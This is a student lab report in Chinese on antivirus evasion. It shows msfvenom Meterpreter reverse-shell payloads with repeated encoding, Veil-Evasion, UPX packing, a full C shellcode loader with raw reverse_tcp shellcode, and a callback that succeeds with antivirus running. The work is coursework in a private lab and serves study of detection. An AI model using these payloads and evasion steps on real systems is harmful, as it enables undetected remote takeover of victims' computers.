20192427 2021-2022-2 《网络与系统攻防技术》实验三
目录:
1,实验内容
1,正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
2,通过组合应用各种技术实现恶意代码免杀
3,用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2,实验要求
1,掌握免杀原理与技术。
- 免杀原理:躲开杀毒软件的识别,可以从杀毒软件的原理入手。
注
杀毒软件的原理:
当前杀毒软件的原理主要有三种:
(1)引擎与病毒库的交互作用,通过特征码提取与病毒库中的特征码进行比对识别病毒。
(2)启发式Heuristic,通过程序的一些行为和特征来判断。
(3)在虚拟机技术上的启发式,通过建立一个虚拟环境运行程序对其进行全方位的检测。
- 免杀技术:
(1)改变特征码
注释:特征码就是一种只在病毒或木马文件内才有的独一无二的特征,它或是一段字符,或是在特定位置调用的一个函数。
(2)改变行为
2,基础问题回答。
(1)杀软是如何检测出恶意代码的?
①基于特征码检测;
如果一个可执行文件包含一段特征码则被认为是恶意代码,过时的特征码库就是没有用的,因此杀毒软件的更新很重要。
②启发式恶意软件检测;
如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。
③基于行为的恶意软件检测;相当于是启发式的一种,或者是加入了行为监控的启发式。
(2)免杀是做什么?
免杀就是通过处理恶意软件好让其不被杀毒软件检测出来。
(3)免杀的基本方法有哪些?
①改变特征码;若只有EXE可以通过加壳,包括压缩壳和加密壳来改变特征码。若有shellcode可以用encodde进行编码或者基于payload重新编译生成可执行文件(这次实践尝试过这种方法)。若有源代码,可用其他语言进行重新再编译(veil-evasion)。
②改变行为;通讯方式尽量使用反弹式连接、隧道技术或者加密通讯数据。操作模式最好基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码。③非常规方法;使用社工类攻击,诱骗目标关闭软件。
3,实验过程
3.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
本地IP:192.168.200.1
虚拟机IP:192.168.56.101
1,步骤一:利用工具对实验二中生成的后门程序进行检测
如上图所示,后门程序不进行隐藏,大多数杀毒软件都可以检查出来。
2,msfvenom直接生成meterpreter可执行文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.101 LPORT=2427 -f exe > 20192427_msf.exe
70个扫描引擎中有52中把它识别为病毒。以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。很明显识别率挺高的。
3,多次编码生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.101 LPORT=2427 -f exe > 20192427_msf1.exe
通过迭代10次的方式来生成新的exe文件,代码运行如下:
再次使用VirusTotal工具进行检测,检测结果:68款杀毒软件有54款能够检测出此文件.
4,利用msf编码器生成其他类型的文件,如jar。指令如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2427 x > 20192427_msf2.jar
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2427 x> 20192427_msf3.php
运行结果:
6,安装veli加壳工具
sudo apt-get -y install git
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
sudo apt-get update
sudo apt-get install veil-evasion
veil
安装结果如下:
正常情况下一路next,然后就按照成功了。
再次输入veil进入如上画面
使用veil生成meterperter
代码如下:
veil
use evasion //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 192.168.127.134 //设置反弹链接ip,此处为Kali的ip
set LPORT 1326 //设置端口
generate
保存路径为:
/var/lib/veil/output/handlers/20192427lrz.rc
对文件进行检测:检测结果如下:
7,免杀加壳
- 压缩壳:减少应用体积,如ASPack,UPX
- 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如 VMProtect, Themida
使用UPX对20192427veil.exe进行加壳
upx 20192427lrz.exe -o 20192427lrz_upx.exe
检测结果如下:
可以看出检出率37/69,看来检测能力很强。
3.2使用C + shellcode编程
使用msfvenom得到shellcode
首先使用msf生成shellcode。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2427 -f c
根据生成的shellcode编写的c文件如下:
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x38\x65\x68\x02"
"\x00\x09\x7b\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main() { int (*func)() = (int(*)())buf; func(); }
编译可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
对此代码进行检测,检测结果如下:
upx 20192430xzc_shellcode.exe -o 20192430xzc_shellcode1.exe //压缩加壳
3.3 通过组合应用各种技术实现恶意代码免杀
使用veil生成木马文件,执行如下命令
veil
use evasion
use 28
set LHOST 192.168.56.101
set LPORT 2427
generate
再使用upx对生成的20192427lrz_py.exe进行加壳
upx 20192427lrz_py.exe -o 20192427lrz_py_upx.exe
将生成的backdoor_py_upx.exe丢到检测网站上检测.检测结果为检出率有所下降,比之前更加明显
3.4 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
生成raw文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.200.1 lport=2427 -f raw -o 20192427.raw
在共享文件夹中找到shellcode_launcher.exe -i 20192427.raw 运行生成的文件
再利用杀毒软件,在此目录下进行检测:
检测出的只有恶意代码课上使用的软件。
利用该文件进行反弹连接,通过此文件可以实现反弹连接
4,问题以及解决方案
问题一
所需要的空间不够用
解决方法:扩容
问题二
解决方法:询问舍友得知解决方案如下:
dpkg --add-architecture i386
apt-get update
apt-get install wine32
问题三
解决方法:不够仔细,不够细心,重新输入代码命令。
5,实验感想
在本次实验中,掌握了更多种后门程序的生成方法,以及掌握杀软是如何检测到恶意软件的原理,学会把后门程序免杀化,通过各种的尝试使自己的后门程序更加完善。
开启杀软能绝对防止电脑中恶意代码很明显,在实践中就能发现事实上杀软并不能绝对防止电脑中恶意代码,恶意软件能通过各种方式试图绕过杀软。